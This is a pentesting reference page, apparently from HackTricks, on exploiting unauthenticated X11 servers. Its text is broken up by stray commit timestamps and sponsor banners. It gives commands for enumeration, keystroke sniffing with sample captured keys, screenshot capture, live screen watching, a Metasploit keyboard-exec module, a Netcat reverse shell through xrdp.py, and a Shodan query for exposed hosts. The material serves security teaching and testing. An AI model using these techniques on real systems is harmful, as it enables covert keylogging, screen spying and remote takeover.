2022-04-28 16:01:33 +00:00
< details >
2022-12-05 22:29:21 +00:00
< summary > < strong > < a href = "https://www.twitch.tv/hacktricks_live/schedule" > 🎙️ HackTricks LIVE Twitch< / a > Wednesdays 5.30pm (UTC) 🎙️ - < a href = "https://www.youtube.com/@hacktricks_LIVE" > 🎥 Youtube 🎥< / a > < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-04-28 16:01:33 +00:00
2022-12-05 22:29:21 +00:00
- **Share your hacking tricks by submitting PRs to the [hacktricks repo ](https://github.com/carlospolop/hacktricks ) and [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >
2023-02-27 09:28:45 +00:00
< figure > < img src = ".gitbook/assets/image (7).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-11-05 09:07:43 +00:00
2023-02-27 09:28:45 +00:00
**[Follow HackenProof](bit.ly/3xrrDrL) to learn more about web3 bugs**
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions
2022-11-05 09:07:43 +00:00
2023-02-27 09:54:26 +00:00
2022-11-05 09:07:43 +00:00
2023-02-27 09:28:45 +00:00
2022-05-01 12:49:36 +00:00
# Basic Information
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\
From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref ](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref )
2020-07-15 15:43:14 +00:00
**Default port:** 6000
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE
6000/tcp open X11
```
2022-05-01 12:49:36 +00:00
# Enumeration
2020-07-15 15:43:14 +00:00
Check for **anonymous connection:**
```bash
nmap -sV --script x11-access -p < PORT > < IP >
msf> use auxiliary/scanner/x11/open_x11
```
2022-05-01 12:49:36 +00:00
# Verfy Connection
2020-07-15 15:43:14 +00:00
```bash
xdpyinfo -display < ip > :< display >
xwininfo -root -tree -display < IP > :< display > #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
2022-05-01 12:49:36 +00:00
# Keyloggin
2020-07-15 15:43:14 +00:00
[xspy ](http://tools.kali.org/sniffingspoofing/xspy ) to sniff the keyboard keystrokes.
Sample Output:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
2022-05-01 12:49:36 +00:00
# Screenshots capturing
2020-07-15 15:43:14 +00:00
```bash
xwd -root -screen -silent -display < TargetIP:0 > > screenshot.xwd
convert screenshot.xwd screenshot.png
```
2022-05-01 12:49:36 +00:00
# Remote Desktop View
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref ](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref )
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
./xrdp.py < IP:0 >
```
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html ](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html )
First we need to find the ID of the window using xwininfo
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
For **live viewing** we need to use
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2022-05-01 12:49:36 +00:00
# Get Shell
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msf> use exploit/unix/x11/x11_keyboard_exec
```
Other way:
**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
2022-02-06 12:02:47 +00:00
**./xrdp.py \<IP:0> – no-disp**
2020-07-15 15:43:14 +00:00
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
2020-07-15 15:43:14 +00:00
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
2020-07-15 15:43:14 +00:00
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
2020-07-15 15:43:14 +00:00
Then add the IP and port and then select R-Shell, which is illustrated below:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
2020-07-15 15:43:14 +00:00
Now as can be seen below we have complete system access:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
2020-09-24 20:01:29 +00:00
2022-05-01 12:49:36 +00:00
# Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
2023-02-27 09:28:45 +00:00
< figure > < img src = ".gitbook/assets/image (7).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-11-05 09:07:43 +00:00
2023-02-27 09:28:45 +00:00
**[Follow HackenProof](bit.ly/3xrrDrL) to learn more about web3 bugs**
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions
2022-11-05 09:07:43 +00:00
2023-02-27 09:54:26 +00:00
2022-11-05 09:07:43 +00:00
2023-02-27 09:28:45 +00:00
2022-04-28 16:01:33 +00:00
< details >
2022-12-05 22:29:21 +00:00
< summary > < strong > < a href = "https://www.twitch.tv/hacktricks_live/schedule" > 🎙️ HackTricks LIVE Twitch< / a > Wednesdays 5.30pm (UTC) 🎙️ - < a href = "https://www.youtube.com/@hacktricks_LIVE" > 🎥 Youtube 🎥< / a > < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-04-28 16:01:33 +00:00
2022-12-05 22:29:21 +00:00
- **Share your hacking tricks by submitting PRs to the [hacktricks repo ](https://github.com/carlospolop/hacktricks ) and [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >